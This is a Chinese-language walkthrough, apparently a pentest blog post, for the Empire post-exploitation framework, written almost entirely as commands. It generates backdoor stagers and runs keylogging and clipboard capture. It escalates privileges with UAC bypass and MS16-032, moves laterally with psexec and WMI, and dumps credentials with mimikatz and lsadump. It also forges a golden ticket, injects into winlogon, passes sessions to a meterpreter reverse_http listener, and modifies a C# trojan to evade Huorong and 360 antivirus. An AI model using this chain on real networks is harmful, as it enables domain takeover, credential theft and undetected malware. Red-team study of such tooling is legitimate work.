Empire 后渗透框架主要用于 Windows 内网渗透,该框架主要基于 Powershell 和 Python,它提供了一个模块的架构,帮助攻击者可以创建和执行各种攻击策略,支持包括域内渗透、宏钓鱼、内网横向、权限维持、后门生成等多个模块。
官网:http://www.powershellempire.com
安装 Empire 由两种方式,分别是基于源码安装和 apt 包安装
在 Github 中下载 Empire
git clone https://github.com/EmpireProject/Empire
直接安装 Empire 会报错
./setup/install.sh
需要安装以下 Python 库,当然在安装库时会遇到很多问题,以下是遇到问题后的解决方法
pip install pyOpenSSL
pip install iptools
pip install netifaces
pip install pydispatch
pip install pydispatcher
pip install zlib_wrapper
pip install macholib
pip install xlrd
pip install xlutils
pip install pyminifier
pip install dropbox
pip install pefile
importlib
无法安装解决方法
apt-get install build-essential python3-dev python2-dev libssl-dev swig
M2Crypto
无法安装解决方法
pip install ~/Desktop/M2Crypto-0.38.0.tar.gz
dispatch
无法安装解决方法
pip install --upgrade setuptools
CryPto.Cipher
报错解决方法
pip uninstall crypto
pip install pycrypto
下载地址:https://pypi.org/project/M2Crypto/#files
安装完成后成功启动 Empire
使用 apt 包安装 Empire
apt install powershell-empire
powershell-empire
进入 Empire 输入help
可查看帮助文档
输入listeners
进入监听器设置,按tab
自动补全(如果不清楚均可使用该方法)
设置 http 监听器
uselistener http
info #查看监听器信息
在监听器模块中带有True
属性的值必须填写,其他属性可能会存在默认值,使用set
和unset
可改变设置,首先设置监听器名为test
set Name test
设置监听默认是80端口,但是80端口通常是 Web 服务器,修改端口为8080
set Host http://172.16.54.51:8080
set Port 8080
开启监听器
execute
删除监听器
back
list
kill test
使用usestager
选择后门模块
usestager windows/launcher_bat
设置监听器和输出目录
set Listener test
set OutFile /tmp/lanuncher.bat #默认输出/tmp目录
execute
在/tmp
目录成功找到生成后门
把输出的后门放入目标系统中执行,执行成功后收到响应
使用agents
查看当前会话,通过interact
进入会话
agents
interact 22FLR8SU
如果觉得会话名称太过复杂,可重命名会话
rename win7
agents
下可使用命令如下:
查看系统信息
sysinfo
查询agents
命令
help agentscmds
执行终端命令
shell whoami
使用截图功能
sc
使用键盘记录
usemodule collection/keylogger
execute
使用剪切版
usemodule collection/clipboard_monitor
execute
ARP 扫描模块
sleep 0 #设置间隔时间
usemodule situational_awareness/network/arpscan
set Range 192.168.0.1-192.168.0.100
execute
SMB 扫描模块
usemodule situational_awareness/network/smbscanner
set UserName administrator
set Password mac
execute
端口扫描模块
usemodule situational_awareness/network/portscan
set Hosts 192.168.0.1-100
set Ports 445
execute
查找本地管理员主机
usemodule situational_awareness/network/powerview/find_localadmin_access
execute
查看共享文件
usemodule situational_awareness/network/powerview/share_finder
execute
Windows 本地信息收集
usemodule situational_awareness/host/winenum
execute
当前权限并非管理员,需要提权操作
使用 UAC bypass 模块提权
usemodule privesc/bypassuac
set Listener test
execute
使用 powerup 检查可提权项,找到后可利用环境向量提权
usemodule privesc/powerup/allchecks
set Listener test
execute
使用计划任务进行提权
usemodule persistence/elevated/schtasks*
set Listener test
execute
通过溢出漏洞提权,比如烂土豆漏洞
usemodule privesc/ms16-032 或 usemodule privesc/ms16-135
set Listener test
execute
成功提权至 SYSTEM
agents
DC: 192.168.52.138
T1: 192.168.52.128 192.168.0.100
D1: 192.168.52.141
当前已取得域内普通用户mac
和本地管理员权限
agents
基础信息收集,包括系统信息、用户信息、网络环境等
sysinfo
whoami
info
使用 ARP 扫描,成功找到192.168.52.0/24
存在四台主机
usemodule situational_awareness/network/arpscan
set Range 192.168.52.0/24
execute
查找本地管理员
usemodule situation_awareness/network/powerview/find_localadmin_access
execute
查看当前用户是否为其他主机上的本地管理员
shell dir \\192.168.52.141\C$
成功找到域控主机IP为192.168.52.138
usemodule situation_awareness/network/powerview/get_domain_controller
execute
使用会话注入需要管理员权限,切换本地管理员后把当前会话注入到其他主机上
usemodule lateral_movement/invoke_psexec
set Listener test
set ComputerName stu1
execute
使用invoke_wmi
模块相比invoke_psexec
更加隐蔽
usemodule lateral_movement/invoke_wmi
set Listener test
set ComputerName stu1
execute
在新会话中查看进程发现域管理员进程
ps
选择目标 PID 号后窃取域管理员 token
steal_token 1740
shell dir \\OWA\C$
如果需要恢复原来的身份可使用以下命令
revtoself
利用 mimikatz 拿到管理员密码明文和哈希
mimikatz
查看所有用户凭证如下:
creds
利用哈希传递可拿到域控访问权限
在域控下使用lsadump
模块获取域内所有用户哈希
usemodule credentials/mimikatz/lsadump
creds
成功拿到krbtgt
用户哈希
利用golden_ticket
制作黄金票据
usemodule credentials/mimikatz/golden_ticket
set credid 10
set user administrator
execute
使用spawn
模块生成新会话
usemodule management/spawn
set Listener test
execute
查看进程并选择需注入的进程ID
ps
成功注入winlogon
进程
psinject test 1120
注入这类系统进程不会出现蓝屏
首先在 MSF 中设置 http 监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.50
set lport 4444
exploit -j
在 Empire 中设置反弹,其中 payload 需要与上对应
usemodule code_execution/invoke_shellcode
set Lhost 192.168.0.50
set Lport 4444
set Payload reverse_http
execute
经测试未受到反弹shell,查阅资料后发现 Empire 转到 MSF 存在局限性,具体可查看https://www.jianshu.com/p/c5153ee1eb76
Empire 存在 web 版本,把 PHP 和 Empire 结合的方式通过网页进行访问
下载地址:https://github.com/interference-security/empire-web/
下载 empire-web
git clone https://github.com/interference-security/empire-web/
安装 PHP 扩展,需根据本机的 PHP 版本进行修改
apt-get install php7.4-curl
重启 Apache 后启用扩展
/etc/init.d/apache2 restart
设置绑定端口和登录账号密码
./empire --rest --restport 1337 --username admin --password 3mpir3admin
访问站点输入账号密码admin/3mpir3admin
成功登录能够可视化各个模块
查看Agents
模块
查看已获取的用户凭证
查看文件系统
准备 Visual Stido 用于编译 C# 文件
下载地址:http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso
生成 C# 类型木马
usestager windows/csharp_exe
set Listener test
info
execute
成功生成后门文件launcher.src
使用 Visual Stdio 打开cmd.sln
需要安装.net 2.0
环境,打开程序与功能中的添加或删除程序安装net 3.5
版本,如果无法安装,打开组策略》系统〉指定可选组件安装和组件修复的设置
.net支持:https://dotnet.microsoft.com/en-us/download/visual-studio-sdks
修改命名空间为mac123
并添加花指令
var a = "12345678";
var b = "67890123";
完成后编译生成程序文件
使用火绒成功免杀
使用360成功免杀
但是执行后360会对行为查杀,上线则不受影响
成功进入新会话当中
interact XWVH8ME2